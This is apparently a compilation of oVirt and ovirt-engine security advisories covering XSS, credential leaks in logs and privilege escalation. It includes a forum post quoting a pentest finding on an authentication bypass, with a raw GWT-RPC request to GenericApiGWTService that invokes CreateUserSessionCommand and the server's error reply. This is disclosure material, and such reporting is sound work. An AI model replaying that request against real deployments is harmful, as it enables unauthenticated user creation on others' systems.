A flaw was found in oVirt. A user with administrator privileges, including users with the ReadOnlyAdmin permission, may be able to use browser developer tools to view Provider passwords in cleartext.

An authentication bypass vulnerability was found in overt-engine. This flaw allows the creation of users in the system without authentication due to a flaw in the CreateUserSession command.

Hello ovirt comunity.

We had an internal pentest here and one finding is Ovirt-engine authentication bypass.

Ovirt-engine, as deployed on ovirtm.XXX.XXX.cz, contains an authentication bypass. It is possible to directly call the CreateUserSessionCommand using runAction exposed by /ovirt-engine/webadmin/GenericApiGWTService.

This action explicitly enables everyone to call it: @Override protected boolean isUserAuthorizedToRunAction() { return true; }

The behavior of this call differs based on the ENGINESSOENABLEEXTERNALSSO configuration option:

boolean externalSsoEnabled = EngineLocalConfig.getInstance().getBoolean("ENGINESSOENABLEEXTERNALSSO"); DbUser dbUser = externalSsoEnabled ? dbUserDao.getByUsernameAndDomain(params.getPrincipalName(), authzName) : dbUserDao.getByExternalId(authzName, params.getPrincipalId());

If this option is enabled, usernames are used to locate users. If it's disabled, the externalId (which seems to be a randomly generated GUID) is used to locate users. If the specified user exists, a session is returned for the user. If the specified user doesn't exist, the user is created in the system. However, the user doesn't get assigned any group membership or rights, therefore the session creation fails because of the missing Login right. The attempt to modify the users table can be seen in the SQL error message when attempting to use a null value for the username (as the endpoint uses GWT, the payload is mostly unreadable):

POST /ovirt-engine/webadmin/GenericApiGWTService HTTP/1.1 Host: ovirtm.xxx.xxx.cz

14

Final Report: Results of penetration testing (internal, external, Wi-Fi) 21 December 2023

Cookie: JSESSIONID=wsp3WAo63LZGHfpBstEt4lZ7zzZycpzIprNlT.ovirtm45; Content-Type: text/x-gwt-rpc; charset=utf-8 X-GWT-Module-Base: https://ovirtm.xxx.xx.cz/ovirt-engine/webadmin X-GWT-Permutation: D7ECB5EF5E29205D18271CC08183A28D Ovirt-Xsrf-Token: 4D87D03B631F8506FC668AA4C3FE3F443D723A9F379FDBB8B0D6DA0668650375 Content-Length: 869

7|0|23|https://ovirtm.xxx.xxx.cz/ovirt- engine/webadmin|0D1B4DEE9D1424E18C443F1CD1C11574|org.ovirt.engine.ui.frontend.gwtservices.GenericApiGWT

Service|runAction|org.ovirt.engine.core.common.action.ActionType/2930387551|org.ovirt.engine.core.commo n.action.ActionParametersBase/2903049429|org.ovirt.engine.core.common.action.CreateUserSessionParameter s/2744166832|appScope|email|firstName|java.util.ArrayList/4159755760|lastName|namespace|principalId|adm in|internal|sourceIp|ssoScope|ssoToken|org.ovirt.engine.core.common.action.ActionParametersBase$EndProc edure/1568822488|java.util.Collections$EmptyMap/4174664486|org.ovirt.engine.core.common.businessentitie s.VDSStatus/1938301532|org.ovirt.engine.core.compat.TransactionScopeOption/1475850853|1|2|3|4|2|5|6|5|2 01|7|0|8|9|10|11|0|12|13|14|0|16|17|18|19|0|5|0|0|0|0|20|1|0|11|0|0|0|0|0|0|21|0|- 4|22|0|1|0|1|23|2|0|0|0| HTTP/1.1 200 OK Date: Fri, 15 Dec 2023 09:42:35 GMT Server: Apache/2.4.37 (CentOS Stream) OpenSSL/1.1.1k modauthgssapi/1.6.1 Expires: Thu, 14 Dec 2023 09:42:35 GMT Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: locale=csCZ; path=/; secure; HttpOnly; Max-Age=2147483647; Expires=Wed, 02-Jan-2092 12:56:42 GMT X-XSS-PROTECTION: 1; MODE=BLOCK Pragma: no-cache X-FRAME-OPTIONS: SAMEORIGIN Content-Disposition: attachment X-CONTENT-TYPE-OPTIONS: NOSNIFF Content-Length: 1794 Content-Type: application/json;charset=utf-8 Correlation-Id: 664c1c1f-9a75-4e14-94d7-aba12c5442f5 Connection: close //OK[0,5,4,8,3,1,2,474,7,6,1,0,2,0,2,5,1,0,4,3,1,2,0,2,1,1,["org.ovirt.engine.core.common.action.Action ReturnValue/4163585948","java.util.ArrayList/4159755760","java.lang.String/2004016611","ENGINE","","org .ovirt.engine.core.common.errors.EngineFault/2377218566","org.ovirt.engine.core.common.errors.EngineErr or/2640515959","ERROR: null value in column \"username\" violates not-null constraint\n Detail: Failing row contains (6dad5e2f-7c95-4547-8f08-6936494c91b6, firstName, lastName, internal-authz, null, , email, , f, principalId, 2023-12-14 17:51:04.757747+01, 2023-12-15 10:42:35.125994+01, namespace, firstName@internal-authz).\n Where: SQL statement \"UPDATE users\n SET department \u003D vdepartment,\n domain \u003D vdomain,\n email \u003D vemail,\n name \u003D vname,\n note \u003D vnote,\n surname \u003D vsurname,\n username \u003D vusername,\n externalid \u003D vexternalid,\n namespace \u003D vnamespace,\n updatedate \u003D CURRENTTIMESTAMP\n WHERE externalid \u003D vexternalid\n AND domain \u003D vdomain\"\nPL/pgSQL function updateuserimpl(character varying,character varying,character varying,character varying,character varying,character varying,uuid,character varying,text,character varying) line 5 at SQL statement\nSQL statement \"SELECT UpdateUserImpl(\n vdepartment,\n vdomain,\n vemail,\n vname,\n vnote,\n vsurname,\n vuserid,\n vusername,\n vexternalid,\n vnamespace)\"\nPL/pgSQL function updateuser(character varying,character varying,character varying,character varying,character varying,character varying,uuid,character varying,boolean,text,character varying) line 3 at PERFORM"],0,7]

Fortunately, in our deplyoment the ENGINESSOENABLEEXTERNALSSO configuration was set to false, so to create a session for the admin it would be necessary to know the admin's user externalId. However, as this is not the default configuration, it is possible that a later reinstallation could change the value. Still, it was possible to create users in the system without any authentication.

An HTML injection/reflected Cross-site scripting (XSS) vulnerability was found in the ovirt-engine. A parameter "errordescription" fails to sanitize the entry, allowing the vulnerability to trigger on the Windows Service Accounts home pages.

A flaw was found in the ovirt-log-collector, which led to the logging of plaintext passwords in the log file. This flaw allows an attacker with sufficient privileges to read the log file, leading to a loss of confidentiality.

A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copypagetoiterpipe and pushpipe functions in the Linux kernel and could thus contain stale values. An unprivileged local user could use this flaw to write to pages in the page cache backed by read only files and as such escalate their privileges on the system.

A remote stack overflow in the TIPC networking module. With FORTIFYSOURCE's stricter memcpy() bounds checking, this can be exploited to cause remote DOS via kernel panic on systems using TIPC. Prior to these bounds checks, and with a canary leak (or no CONFIGSTACKPROTECTOR), this can be exploited for RCE.

Reference: https://www.openwall.com/lists/oss-security/2022/02/10/1

A race condition was found in vdsm functionality to obfuscate sensitive values in log files that may lead to values being stored unobfuscated.

A flaw was found in ovirt-engine 4.4.3 and earlier allowing an authenticated user to read other users' personal information, including name, email and public SSH key.

A flaw was found in Ovirt Engine's web interface in ovirt 4.4 and earlier, where it did not filter user-controllable parameters completely, resulting in a reflected cross-site scripting attack. This flaw allows an attacker to leverage a phishing attack, steal an unsuspecting user's cookies or other confidential information, or impersonate them within the application's context.

Ovirt Engine's web interface in ovirt 4.4.2 and earlier does not filter user controllable parameters completely, which may result in a reflected cross site scripting attack.

oVirt Node: Lock screen accepts F2 to drop to shell causing privilege escalation

A cross-site scripting vulnerability was reported in ovirt-engine's OAuth authorization endpoint. URL parameters would be included in the HTML response without escaping, allowing an attacker to craft malicious HTML pages that could run scripts in the context of the user's ovirt session.

References:

https://lists.ovirt.org/archives/list/announce@ovirt.org/thread/RHF4BJIIRVEW3PQVDLJTDZO5AARQWO6U/

mom creates world-writable pid files in /var/run

vdsm: certificate generation upon node creation allowing vdsm to start and serve requests from anyone who has a matching key (and certificate)

ovirt-engine 3.2 running on Linux kernel 3.1 and newer creates certain files world-writeable due to an upstream kernel change which impacted how python's os.chmod() works when passed a mode of '-1'.

Sensitive passwords used in deployment and configuration of oVirt Metrics were found to be insufficiently protected. Passwords could be disclosed in log files (if playbooks are run with -v) or in playbooks stored on Metrics or Bastion hosts.

During HE deployment via cockpit-ovirt, cockpit-ovirt generates an ansible variable file /var/lib/ovirt-hosted-engine-setup/cockpit/ansibleVarFileXXXXXX.var which contains the admin and the appliance passwords as plain-text. At the of the deployment procedure, these files are deleted.

It was discovered that in the ovirt's REST API before version 4.3.2.1, RemoveDiskCommand is triggered as an internal command, meaning the permission validation that should be performed against the calling user is skipped. A user with low privileges (eg Basic Operations) could exploit this flaw to delete disks attached to guests.

A vulnerability was discovered in vdsm, version 4.19 through 4.30.3 and 4.30.5 through 4.30.8. The systemdrun function exposed to the vdsm system user could be abused to execute arbitrary commands as root.

It was found that vdsm before version 4.20.37 invokes qemu-img on untrusted inputs without limiting resources. By uploading a specially crafted image, an attacker could cause the qemu-img process to consume unbounded amounts of memory of CPU time, causing a denial of service condition that could potentially impact other users of the host.

ovirt-engine before version 4.1.7.6 with log level set to DEBUG includes passwords in the log file without masking. Only administrators can change the log level and only administrators can access the logs. This presents a risk when debug-level logs are shared with vendors or other parties to troubleshoot issues.

ovirt-engine before version ovirt 4.2.2 is vulnerable to an information exposure through log files. When engine-backup was run with one of the options "--provisiondb", the database username and password were logged in cleartext. Sharing the provisioning log might inadvertently leak database passwords.

Due to a missing nolog directive, the 'Add oVirt Provider to ManageIQ/CloudForms' playbook inadvertently disclosed admin passwords in the provisioning log. In an environment where logs are shared with other parties, this could lead to privilege escalation.

ovirt-engine API and administration web portal before versions 4.2.2.5, 4.1.11.2 is vulnerable to an exposure of Power Management credentials, including cleartext passwords to Host Administrators. A Host Administrator could use this flaw to gain access to the power management systems of hosts they control.

The web console login form in ovirt-engine before version 4.2.3 returned different errors for non-existent users and invalid passwords, allowing an attacker to discover the names of valid user accounts.

A flaw was found in ovirt-engine. When engine-setup is run and one chooses to provision the database manually or connect to a remote database, the password input is logged but filtered only later, after verification that it is correct.

References:

https://bugzilla.redhat.com/showbug.cgi?id=1540622

An information disclosure in ovirt-hosted-engine-setup prior to 2.2.7 reveals the root user's password in the log file.

The ovirt-guest-agent-docker package provides the guest agent for Red Hat Linux Atomic Host virtual machines. The guest agent allows the Red Hat Virtualization Manager to receive internal guest events and retrieve information such as the IP address and the list of installed applications from the guest. Additionally the guest agent allows the Manager to execute specific commands, such as shut down or reboot, on guest virtual machines.<br>Security Fix(es):<br><li> An industry-wide issue was found in the way many modern microprocessor designs have implemented speculative execution of instructions (a commonly used performance optimization). There are three primary variants of the issue which differ in the way the speculative execution can be exploited. Variant CVE-2017-5715 triggers the speculative execution by utilizing branch target injection. It relies on the presence of a precisely-defined instruction sequence in the privileged code as well as the fact that memory accesses may cause allocation into the microprocessor's data cache even for speculatively executed instructions that never actually commit (retire). As a result, an unprivileged attacker could use this flaw to cross the syscall and guest/host boundaries and read privileged memory by conducting targeted cache side-channel attacks. (CVE-2017-5715)</li> Note: This is the ovirt-guest-agent-docker side of the CVE-2017-5715 mitigation.<br>Red Hat would like to thank Google Project Zero for reporting this issue.<br>Bug Fix(es):<br><li> Previously, during Atomic host shutdown, the container was killed before the Guest Agent had a chance to send 'session-shutdown' message to VDSM host. This is now fixed. (BZ#1427849)</li>

When ovirt-engine-provisiondb, a utility usually called by engine-backup, was passed one of the '--provisiondb' options to create postgresql DBs/users, the password of the created user is stored in the log file in plain text.